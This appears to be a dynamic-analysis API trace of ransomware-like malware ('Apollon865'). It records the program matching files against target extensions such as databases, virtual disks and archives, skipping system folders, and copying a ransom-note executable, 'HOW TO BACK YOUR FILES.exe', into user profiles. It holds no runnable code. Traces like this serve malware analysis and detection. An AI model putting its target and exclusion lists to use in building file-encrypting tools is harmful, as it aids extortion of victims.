	[0036.159] lstrcpyW (in: lpString1=0x2d3e580, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.159] lstrlenW (lpString="desktop.ini") returned 11
	[0036.159] lstrlenW (lpString="Apollon865") returned 10
	[0036.159] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.159] lstrlenW (lpString=".dll") returned 4
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.159] lstrlenW (lpString=".lnk") returned 4
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.159] lstrlenW (lpString=".ini") returned 4
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.159] lstrlenW (lpString=".sys") returned 4
	[0036.159] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.159] lstrlenW (lpString="desktop.ini") returned 11
	[0036.159] lstrlenW (lpString="bak") returned 3
	[0036.159] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.159] lstrlenW (lpString="ba_") returned 3
	[0036.159] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.159] lstrlenW (lpString="dbb") returned 3
	[0036.159] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.159] lstrlenW (lpString="vmdk") returned 4
	[0036.159] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.159] lstrlenW (lpString="rar") returned 3
	[0036.159] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.160] lstrlenW (lpString="zip") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.160] lstrlenW (lpString="tgz") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.160] lstrlenW (lpString="vbox") returned 4
	[0036.160] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.160] lstrlenW (lpString="vdi") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.160] lstrlenW (lpString="vhd") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.160] lstrlenW (lpString="vhdx") returned 4
	[0036.160] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.160] lstrlenW (lpString="avhd") returned 4
	[0036.160] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.160] lstrlenW (lpString="db") returned 2
	[0036.160] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.160] lstrlenW (lpString="db2") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.160] lstrlenW (lpString="db3") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.160] lstrlenW (lpString="dbf") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.160] lstrlenW (lpString="mdf") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.160] lstrlenW (lpString="mdb") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.160] lstrlenW (lpString="sql") returned 3
	[0036.160] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.160] lstrlenW (lpString="sqlite") returned 6
	[0036.160] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.160] lstrlenW (lpString="sqlite3") returned 7
	[0036.160] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.160] lstrlenW (lpString="sqlitedb") returned 8
	[0036.160] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.160] lstrlenW (lpString="xml") returned 3
	[0036.161] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.161] lstrlenW (lpString="$er") returned 3
	[0036.161] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.161] lstrlenW (lpString="4dd") returned 3
	[0036.161] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.161] lstrlenW (lpString="4dl") returned 3
	[0036.161] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.161] lstrlenW (lpString="^^^") returned 3
	[0036.161] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.161] lstrlenW (lpString="abs") returned 3
	[0036.161] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.161] lstrlenW (lpString="abx") returned 3
	[0036.161] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.161] lstrlenW (lpString="accdb") returned 5
	[0036.161] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.161] lstrlenW (lpString="accdc") returned 5
	[0036.161] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.161] lstrlenW (lpString="accde") returned 5
	[0036.161] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.161] lstrlenW (lpString="accdr") returned 5
	[0036.161] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.161] lstrlenW (lpString="accdt") returned 5
	[0036.161] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.161] lstrlenW (lpString="accdw") returned 5
	[0036.161] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.161] lstrlenW (lpString="accft") returned 5
	[0036.161] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.161] lstrlenW (lpString="adb") returned 3
	[0036.161] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.162] lstrlenW (lpString="adb") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.162] lstrlenW (lpString="ade") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.162] lstrlenW (lpString="adf") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.162] lstrlenW (lpString="adn") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.162] lstrlenW (lpString="adp") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.162] lstrlenW (lpString="alf") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.162] lstrlenW (lpString="ask") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.162] lstrlenW (lpString="btr") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.162] lstrlenW (lpString="cat") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.162] lstrlenW (lpString="cdb") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.162] lstrlenW (lpString="ckp") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.162] lstrlenW (lpString="cma") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.162] lstrlenW (lpString="cpd") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.162] lstrlenW (lpString="dacpac") returned 6
	[0036.162] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.162] lstrlenW (lpString="dad") returned 3
	[0036.162] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.162] lstrlenW (lpString="dadiagrams") returned 10
	[0036.162] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.162] lstrlenW (lpString="daschema") returned 8
	[0036.162] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.162] lstrlenW (lpString="db-journal") returned 10
	[0036.162] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.162] lstrlenW (lpString="db-shm") returned 6
	[0036.162] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.162] lstrlenW (lpString="db-wal") returned 6
	[0036.163] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.163] lstrlenW (lpString="dbc") returned 3
	[0036.163] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.163] lstrlenW (lpString="dbs") returned 3
	[0036.163] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.163] lstrlenW (lpString="dbt") returned 3
	[0036.163] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.163] lstrlenW (lpString="dbv") returned 3
	[0036.163] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.163] lstrlenW (lpString="dbx") returned 3
	[0036.163] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.163] lstrlenW (lpString="dcb") returned 3
	[0036.163] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.163] lstrcpyW (in: lpString1=0x2d3e580, lpString2="Google Chrome.lnk" | out: lpString1="Google Chrome.lnk") returned="Google Chrome.lnk"
	[0036.163] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0036.163] lstrlenW (lpString="Apollon865") returned 10
	[0036.163] lstrcmpiW (lpString1="Chrome.lnk", lpString2="Apollon865") returned 1
	[0036.163] lstrlenW (lpString=".dll") returned 4
	[0036.163] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".dll") returned 1
	[0036.163] lstrlenW (lpString=".lnk") returned 4
	[0036.163] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".lnk") returned 1
	[0036.163] lstrlenW (lpString=".ini") returned 4
	[0036.163] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".ini") returned 1
	[0036.163] lstrlenW (lpString=".sys") returned 4
	[0036.163] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".sys") returned 1
	[0036.163] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0036.163] lstrcpyW (in: lpString1=0x2d3e580, lpString2="Mozilla Firefox.lnk" | out: lpString1="Mozilla Firefox.lnk") returned="Mozilla Firefox.lnk"
	[0036.163] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19
	[0036.163] lstrlenW (lpString="Apollon865") returned 10
	[0036.163] lstrcmpiW (lpString1="irefox.lnk", lpString2="Apollon865") returned 1
	[0036.163] lstrlenW (lpString=".dll") returned 4
	[0036.163] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".dll") returned 1
	[0036.164] lstrlenW (lpString=".lnk") returned 4
	[0036.164] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".lnk") returned 1
	[0036.164] lstrlenW (lpString=".ini") returned 4
	[0036.164] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".ini") returned 1
	[0036.164] lstrlenW (lpString=".sys") returned 4
	[0036.164] lstrcmpiW (lpString1="Mozilla Firefox.lnk", lpString2=".sys") returned 1
	[0036.164] lstrlenW (lpString="Mozilla Firefox.lnk") returned 19
	[0036.164] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default User", iMaxLength=260 | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User"
	[0036.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e60 | out: hHeap=0x580000) returned 1
	[0036.164] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0036.164] lstrlenW (lpString="C:\\Users\\Default User") returned 21
	[0036.164] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User"
	[0036.164] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.164] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default User\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default user\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.169] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.169] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0xffffffff
	[0036.169] GetLastError () returned 0x5
	[0036.169] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default User\\* FindFirstFile error 5\r\n") returned 55
	[0036.169] lstrlenA (lpString="[ERROR] C:\\Users\\Default User\\* FindFirstFile error 5\r\n") returned 55
	[0036.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0036.169] SetFilePointer (in: hFile=0xac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x518
	[0036.169] WriteFile (in: hFile=0xac, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x37, lpOverlapped=0x0) returned 1
	[0036.169] CloseHandle (hObject=0xac) returned 1
	[0036.170] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0036.170] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default", iMaxLength=260 | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0036.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bee08 | out: hHeap=0x580000) returned 1
	[0036.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0036.170] lstrlenW (lpString="C:\\Users\\Default") returned 16
	[0036.170] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default"
	[0036.170] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.170] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.171] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac
	[0036.171] GetLastError () returned 0x0
	[0036.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.171] ReadFile (in: hFile=0xac, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.171] CloseHandle (hObject=0xac) returned 1
	[0036.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.171] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.171] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dcee150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dcee150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0036.171] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.171] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.171] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.171] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dcee150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dcee150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.172] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.172] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.172] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.172] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.172] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="Apollon865.txt.exe") returned 1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2=".") returned 1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="..") returned 1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="windows") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="bootmgr") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="temp") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="pagefile.sys") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="boot") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="ids.txt") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="ntuser.dat") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="perflogs") returned -1
	[0036.172] lstrcmpiW (lpString1="AppData", lpString2="MSBuild") returned -1
	[0036.172] lstrlenW (lpString="AppData") returned 7
	[0036.172] lstrlenW (lpString="C:\\Users\\Default\\*") returned 18
	[0036.172] lstrcpyW (in: lpString1=0x2d3e572, lpString2="AppData" | out: lpString1="AppData") returned="AppData"
	[0036.172] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0036.172] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca150
	[0036.172] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0036.172] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0036.172] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0036.173] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0036.173] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0036.173] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0036.173] lstrlenW (lpString="Application Data") returned 16
	[0036.173] lstrlenW (lpString="C:\\Users\\Default\\AppData") returned 24
	[0036.173] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0036.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0036.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdca8
	[0036.173] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0036.173] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="Apollon865.txt.exe") returned 1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2=".") returned 1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="..") returned 1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="windows") returned -1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="bootmgr") returned 1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="temp") returned -1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="pagefile.sys") returned -1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="boot") returned 1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="ids.txt") returned -1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="ntuser.dat") returned -1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="perflogs") returned -1
	[0036.173] lstrcmpiW (lpString1="Contacts", lpString2="MSBuild") returned -1
	[0036.173] lstrlenW (lpString="Contacts") returned 8
	[0036.173] lstrlenW (lpString="C:\\Users\\Default\\Application Data") returned 33
	[0036.173] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts"
	[0036.173] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Contacts", dwFileAttributes=0x10) returned 1
	[0036.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0036.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca190
	[0036.174] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0036.174] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="Apollon865.txt.exe") returned 1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2=".") returned 1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="..") returned 1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="windows") returned -1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="bootmgr") returned 1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="temp") returned -1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="pagefile.sys") returned -1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="boot") returned 1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="ids.txt") returned -1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="ntuser.dat") returned -1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="perflogs") returned -1
	[0036.174] lstrcmpiW (lpString1="Cookies", lpString2="MSBuild") returned -1
	[0036.174] lstrlenW (lpString="Cookies") returned 7
	[0036.174] lstrlenW (lpString="C:\\Users\\Default\\Contacts") returned 25
	[0036.174] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies"
	[0036.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0036.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca1d0
	[0036.174] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0036.174] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0036.174] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.174] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0036.174] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0036.174] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0036.174] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0036.175] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0036.175] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0036.175] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0036.175] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
